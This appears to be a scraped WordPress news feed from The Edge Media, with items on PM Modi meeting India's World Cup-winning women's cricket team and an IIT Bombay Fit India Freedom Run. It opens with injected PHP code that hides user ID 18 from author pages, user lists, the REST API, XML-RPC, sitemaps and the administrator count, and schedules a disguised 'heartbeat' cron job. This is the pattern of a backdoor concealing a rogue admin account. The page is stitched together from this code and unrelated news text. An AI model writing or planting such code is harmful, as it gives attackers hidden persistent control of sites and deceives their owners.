add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post PM Modi Meets Indian Women’s Cricket Team, Praises Their Historic World Cup Triumph appeared first on The Edge Media.
]]>
Team’s Interaction with the Prime Minister
Captain Harmanpreet Kaur recalled their previous meeting with the Prime Minister after the 2017 World Cup and expressed happiness at finally meeting him with the trophy this time. Vice-captain Smriti Mandhana said the Prime Minister’s encouragement served as a great motivation for the entire team. The players presented him with a jersey bearing the name “NAMO”.
Moments of Inspiration and Lighter Conversations
Player of the Tournament Deepti Sharma told the Prime Minister she had been eager to meet him since 2017, remembering how he had motivated them to keep working hard toward their dream. When Modi mentioned her “Jai Shri Ram” Instagram bio and her Hanuman tattoo, Deepti said they gave her strength. Harmanpreet asked how he managed to always stay present and focused, to which Modi replied that it had become a way of life for him.
The Prime Minister also recalled key moments from the team’s journey, such as Harleen Deol’s stunning catch against England in 2021 and Amanjot Kaur’s juggling catch in the World Cup final, which he humorously said must have made her think about the trophy immediately after catching the ball. He fondly mentioned how Harmanpreet pocketed the ball after the final match, calling it a memorable gesture
Encouragement for Future Generations
During the meeting, Modi urged the players to promote the Fit India initiative and inspire young girls to take up sports. He expressed concern about the growing issue of obesity and highlighted the need for an active lifestyle. He encouraged the team to visit their former schools and motivate students to pursue fitness and sports
A Defining Moment for Indian Women’s Cricket
The Harmanpreet-led team returned to New Delhi two days after their historic 52-run win against South Africa in the final at Navi Mumbai, securing India’s maiden 50-over World Cup title. This achievement marked a turning point in Indian women’s cricket as the team became only the fourth side in the world to lift the ODI trophy. The players will now return to their hometowns, while Shafali Verma will travel to Nagaland to lead the North Zone team in the upcoming Inter-Zonal T20 tournament.
The post PM Modi Meets Indian Women’s Cricket Team, Praises Their Historic World Cup Triumph appeared first on The Edge Media.
]]>The post IIT Bombay to conduct Fit India Movement Freedom Run 2.0 offline on August 14 appeared first on The Edge Media.
]]>IIT Bombay has planned this race as a part of ‘Azadi ka Amrit Mahotsav’, the celebration of 75 years of Independence. This offline event will be conducted adhering to the COVID-19 protocols as informed by the IIT Bombay.
It will be a cross-country race, across the IIT Bombay campus, following Covid protocols, and with more than 100 people, the institute said.
Staff and students, both male and female will run the same distance in the race, but in different timings, it added.
Check the tweet here :
IIT Bombay informed through a statement, “The Institute authorities have taken all necessary precautions to ensure the safety of the participants by ensuring mask compliance and distancing, with the support of security and medical personnel. We are requesting all enthusiastic residents to take part and join us in our pursuit of building a healthier institute community.”
Fit India Movement Freedom Run 2.0, the nationwide program, was launched earlier today by Union Youth Affairs and Sports Minister Anurag Singh Thakur and Minister of State for Youth Affairs & Sports (MoS) Nisith Parmanik.
The University Grants Commission (UGC) in a recent letter said universities and colleges should ask the students to upload national anthem singing videos on the dedicated website. This is also part of the part ‘Azadi ka Amrit Mahotsav’ celebration on 75th independence day.
The post IIT Bombay to conduct Fit India Movement Freedom Run 2.0 offline on August 14 appeared first on The Edge Media.
]]>